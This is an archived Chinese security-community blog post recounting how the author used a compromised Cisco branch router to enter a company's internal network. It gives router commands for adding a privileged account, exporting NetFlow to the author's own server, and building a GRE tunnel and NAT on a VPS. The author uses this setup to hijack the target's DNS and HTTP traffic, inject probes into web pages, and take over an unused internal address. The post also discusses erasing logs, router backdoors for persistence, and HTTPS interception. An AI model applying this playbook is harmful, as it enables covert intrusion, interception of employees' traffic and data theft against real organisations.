
        <html>
			<head>
			     <title>利用被入侵的路由器迈入内网 - vodu</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/9121">http://drops.wooyun.org/tips/9121</a></h1>
				
      <p>
        <p>去年开始利用路由器对目标内网进行渗透的方式方法开始研究，测试了一阵了。看到乌云之前有一篇翻译外国人的文章，讲路由器流量劫持的，利用条件苛刻，成效也不大。所以决定写一篇自己实测的例子。</p>

<h1>0x01 控制路由器</h1>

<hr />

<p>现在只搞cisco的路由器，但是方法不限于cisco，华为，juniper什么的都可以。</p>

<p>这一步没有什么好的办法，我们利用分布式扫描抓到了一些路由器，再加上其他的漏洞，有了一定数量作为测试保证。</p>

<p>选择一台 cisco c800系列的小企业路由器（很老了）</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400021391pic126.png" alt="" /></p>

<p>图1 router version</p>

<!--more-->

<p>进去之后，先查看日志，登陆认证相关信息。</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400251730pic213.png" alt="" /></p>

<p>图 2 router 登陆等相关信息</p>

<p>有一个登陆限制的acl，被我之前删掉了，这就找到了telnet的密码。同时没有开启aaa认证，也就不存在什么认证服务器什么的，就只有本地验证。没有任何日志服务器的配置，连snmp都没有配置（本来还想留一个snmp的后门，看来是不行了）。</p>

<p>赶紧添加账号密码，加固路由器，修复漏洞。</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400497032pic311.png" alt="" /></p>

<p>图3 添加特权账户</p>

<h1>0x02 网络拓扑分析</h1>

<hr />

<p>基本操作完，赶紧保留一份完整的配置（这个不能完整的贴出来）然后分析基本网络架构。</p>

<p>总述就是这是一个公司的小分部，通过pppoe加nat上网，有一个公网ip地址，有一个10.xx.xx.0/24的内网地址，通过gre的隧道，和主公司相连，拥有更为庞大的内网。</p>

<p>这种网络形式是最为常见的，通过ISP拨号获取公网地址，然后内网机器通过nat上网。全公网ip地址的公司网络极为少见。</p>

<p>网络拓扑如下</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400532662pic49.png" alt="" /></p>

<p>图4 网络拓扑示意图</p>

<h1>0x03 准备进入内网</h1>

<hr />

<p>内网机器通过NAT访问Google，同时内网受到NAT的保护。我们控制了R1这台路由器，处于内网出口；还有一台公网VPS，ubuntu12.04 。R2表示很多台路由器，没有控制权限。</p>

<p>由于想要进行内网渗透测试，需要获取更多的信息。我们另外添加一台公网VPS（win2008R）在上面架设流量监视服务器，分析内网日常流量和行为。</p>

<p>win2008搭建的是netflow服务器，在R1上配置netflow，来观测内网流量信息。netflow软件网上有好多，solarwind最好，支持sqlserver2005，能存储大量的数据，没找到破解版。我用的ManageEngine，到处都是破解版。</p>

<p>netflow配置：</p>

<pre><code>ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……
</code></pre>

<p>流量分析比较直观，公司日常工作流量都是通过GRE Tunnel到达主网络，日常流量以http和https为主，而且通过流量统计可以看出来，他们的dns绝大多数都是Google public dns，占了所有dns流量的90％以上。</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400798709pic610.png" alt="" /></p>

<p>图6 目标网络流量总览图</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309400991954pic79.png" alt="" /></p>

<p>图7 流量分类示意图</p>

<p>统计出来的web流量，尝试去打开这些网页，我都打不开，都是提示404 Not Found或者就是证书错误。这样看不见到底访问的是什么网站，Google也都没有搜索记录，就只能勉强看一下bing的同站，结果记录还是特别少。</p>

<p>为了摸清这个内网更为详细的信息（公司叫什么名字，员工经常登陆什么网站，常用软件是什么），就只能先劫持一下DNS了。由于网络环境比较恶略，有个NAT使得网络复杂太多。所以不选择使用透明劫持方式，选择用网关劫持方式。</p>

<p>做一下名词解释：</p>

<p>透明劫持方式：自定义名词，即不修改数据包的源IP地址和目的IP地址，只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉，做到完全透明，同时无法被杀软防火墙IPS之类的发觉，除了增加一些延迟。</p>

<p>网关劫持方式：顾名思义，就是作为一个网关，对经过我的流量进行路由和NAT，使得流量能够正常在Internet上传输。会产生较大的影响，以Gmail为例，会提示异地登陆等。</p>

<p>关于劫持有一条准侧（我总结的）：在有防火墙或者NAT的环境中劫持流量，你在哪把数据包接走，必须得把数据包（被劫持的数据包或者该数据包的回包）送回到那里。</p>

<p>这里做一下解释，在NAT上网的环境中做GRE通道的流量劫持，会很麻烦。出方向数据包通过路径为先进入GRE Tunnel，然后作为一个GRE 数据包通过NAT，也就是NAT只对GRE数据包生效，并且记录下状态，不会对被包含在GRE 中的数据包进行NAT，所以入方向，无法通过NAT。 这样的解释适用于防火墙。</p>

<p>因为编程能力有限等考虑，决定使用网关劫持模式。</p>

<p>在R1的连接公网的端口和我的Linux eth0 建立GRE Tunnel</p>

<p>Linux IP 地址：1.1.1.1</p>

<p>路由器公网IP地址：2.2.2.2</p>

<p>R1的配置</p>

<pre><code>en
conf t
int tunnel 1
tunnel so e0（接口名称，也可以使用接口IP地址，但是会出问题）
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end
</code></pre>

<p>linux Ubuntu 配置： 建立GRE Tunnel</p>

<pre><code>#modprobe ip_gre
#lsmode | grep    

#ip tunnel add gre1 mode gre  remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1
</code></pre>

<p>在Tunnel的两端都PING一下对端的IP地址，应该都是通的。</p>

<p>然后开启路由转发</p>

<p>将 /proc/sys/net/ip_forward 的数值修改为 1 （本次有效，重启后失效）</p>

<p>修改 /etc/sysctl.conf 文件，让包转发在系统启动时生效</p>

<p>net.ipv4.ip_forward = 1 前面的＃号去掉</p>

<p>开启Iptables 的NAT</p>

<pre><code>＃iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58 
</code></pre>

<p>192的地址为需要做NAT的地址，202地址为已有公网IP地址，配置单词生效，重启后失效。</p>

<p>保存iptables 的规则 。</p>

<pre><code>＃service iptables save
</code></pre>

<p>添加内网路由</p>

<pre><code>route add -net 10.0.0.0/8 gre1 
</code></pre>

<p>通往10.0.0.0这个八位的网络全部走gre1这个出口，即全部走GRE隧道。</p>

<p>然后利用我们自己开发的软件获取DNS数据内容 ，内容不方便贴出。</p>

<p>劫持了几天dns，看他们上了几天网之后，对内网有了个更为清楚的认识。进一步对HTTP数据包进行修改，加了个探针。探明之后再准备加入EXP获取内网权限，结果都是chrome，就放弃了。探针信息不方便贴出。</p>

<p>流量中还有telnet，ssh这类的流量，但是不能劫持，目的地址做了acl的限制，我的Linux不能访问，直接refuse。</p>

<h1>0x04 进入内网</h1>

<hr />

<p>流量不能帮我获取内网权限，就只能自己进入内网。</p>

<p>强制劫持一个内网没有人用的合法IP地址，通过连接linux openVPN分配给自己，剩下只要在路由器添加这个地址的主机路由和在Linux上添加到10.xx.xx.xx/8 的默认路由，然后我的WorkStation就获得了内网访问权限（没有像VPN什么的限制，访问权限等同于路由器权限）。</p>

<p>如何让自己的WorkStation进入内网就是很随意的了，方法实在是太多，因为此时这台Ubuntu已经在内网中。openVPN配置和添加路由配置就不贴出了，网上太多。</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309401086582pic810.png" alt="" /></p>

<p>图8 验证Ubuntu于内网的连通性</p>

<p>这样的内网渗透是有以下几个优点：</p>

<ol>
<li>你所有的流量会被内网流量设备认为是内网流量，流量稍微大一点的内网，你可以随意下载文件，不用再关心流量过大引起报警。（理论，没脱过文件）</li>
<li>在路由器上做好隐藏，规避netflow监测，去掉日志，在临走的时候直接erease所有的存储器，你的行为在内网不可查。（理论，没做过）</li>
<li>如果地址劫持的合适，能绕过内网服务器的登陆限制（三层限制）。</li>
<li>时间把握的好，可以制造内网某员工从文件服务器大量下载文件的假象。（理论，没做过）</li>
</ol>

<p>缺点</p>

<p>就一个，数据包不加密，这点很烦人，数据包基本全透明。要是路由器外没有安全设备了或者直接做一个IPSec Tunnel，就等同于没缺点。</p>

<p>总结，就是拥有极高的隐蔽性，远高于VPN，马什么的。连日志服务器都可以不怎么理他。</p>

<p>本文标题为迈入内网，并非内网渗透，不做内网渗透相关研究。</p>

<p>所有的敏感的信息已经修改涂掉。</p>

<h1>0x05 后话</h1>

<hr />

<p>其他的一些小讨论</p>

<p>关于链路延迟，研究比较多，需要多说一点。以我劫持的Google为例，我在Google与内网路径的附近，并且是靠近Google的一端。</p>

<p>到Google的延迟平均为0.617ms</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309401264315pic99.png" alt="" /></p>

<p>图9 Ubuntu 到Google延迟</p>

<p>路由器到Linux的延迟平均为256ms，路由器直接ping Google 平均延迟时180ms</p>

<p><img src="http://static.wooyun.org//drops/20150923/2015092309401431972pic109.png" alt="" /></p>

<p>图10 路由器网络延迟截图</p>

<p>Linux处理劫持数据，修改数据包的软件延迟约为5ms，所以预估劫持之后的延迟应该在260ms左右。</p>

<p>但是，经过劫持之后，到目标的延迟为248，该数值小于256ms＋0.6ms＋5ms，至于为什么，无法解释。</p>

<p>总体延迟影响，增加了180ms的三分之一，60ms左右。</p>

<p>之前我们对延迟有过较多的讨论：增加了延迟的三分之一，影响会比较明显，容易被察觉从而引发报警。我个人认为，大家上百度比平时延迟增加了500ms，或是1s，就算是baidu的运维，在检查完IP地址，看完tracert之后，也就骂骂运营商。更何况一般网络用户不会认为是运营商的问题，只会认为是不是自己电脑卡了，可能有人怀疑自己被网络劫持了么。</p>

<p>关于内网路由器的讨论，本文研究的路由器为网络边界路由器，至少有一个公网IP地址。当路由器或者三层交换处于内网中，劫持能否使用，答案是可以的。通过建立七层应用层隧道（GRE为三层网络层隧道），就像我们个人电脑一样，穿过内网。或者直接同内网的一台服务器建立连接，劫持数据（经过验证，但是公网测试时，对端是一台公网CISCO路由器2911，没试过服务器，开发能力有限）。</p>

<p>如果需要穿透内网，需要应用层VPN，例如IPSec VPN，EZ VPN （我测试了这俩，其他的高于三层的VPN都理论可行）等，配置比GRE Tunnel复杂的多，但懂了原理配置还是很简单的。配置实在是贴不完。IP Sec VPN理论上应该可以向IP Sec VPN 服务器建立连接，我没成功，还在理论层面研究。EZ VPN ，CISCO专有，肯定不能在WIN或者linux上搭建服务器。</p>

<p>关于驻留，通过路由器扩展内网驻留或者路由器后门驻留，比马什么的好太多了，除了NSA和fireeye，没听说过谁接触过过路由器后门的。国内绝对是通杀，会配置路由器的都没几个人，更别说反查。</p>

<p>关于HTTPS的讨论：绿标这个问题确实比较头疼，我目前尝试能过的就是嵌套，在绿标中插入红标，最后用户看到的还是绿标。</p>

<p>关于流量劫持软件，网上都说劫持软件多如牛毛，但是实际上找下来，就没有一个可以拿来直接用的，尤其是在透明劫持这个模式下，没发现能直接用的，像什么MITMproxy什么什么的，大家都说好，实际测试一下，也就适合开发人员调试软件，所以只能自己开发，但是开发能力有限。</p>

<p>希望大家推荐一些，能效率很高的处理大流量（例如BGP劫持）的软件。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          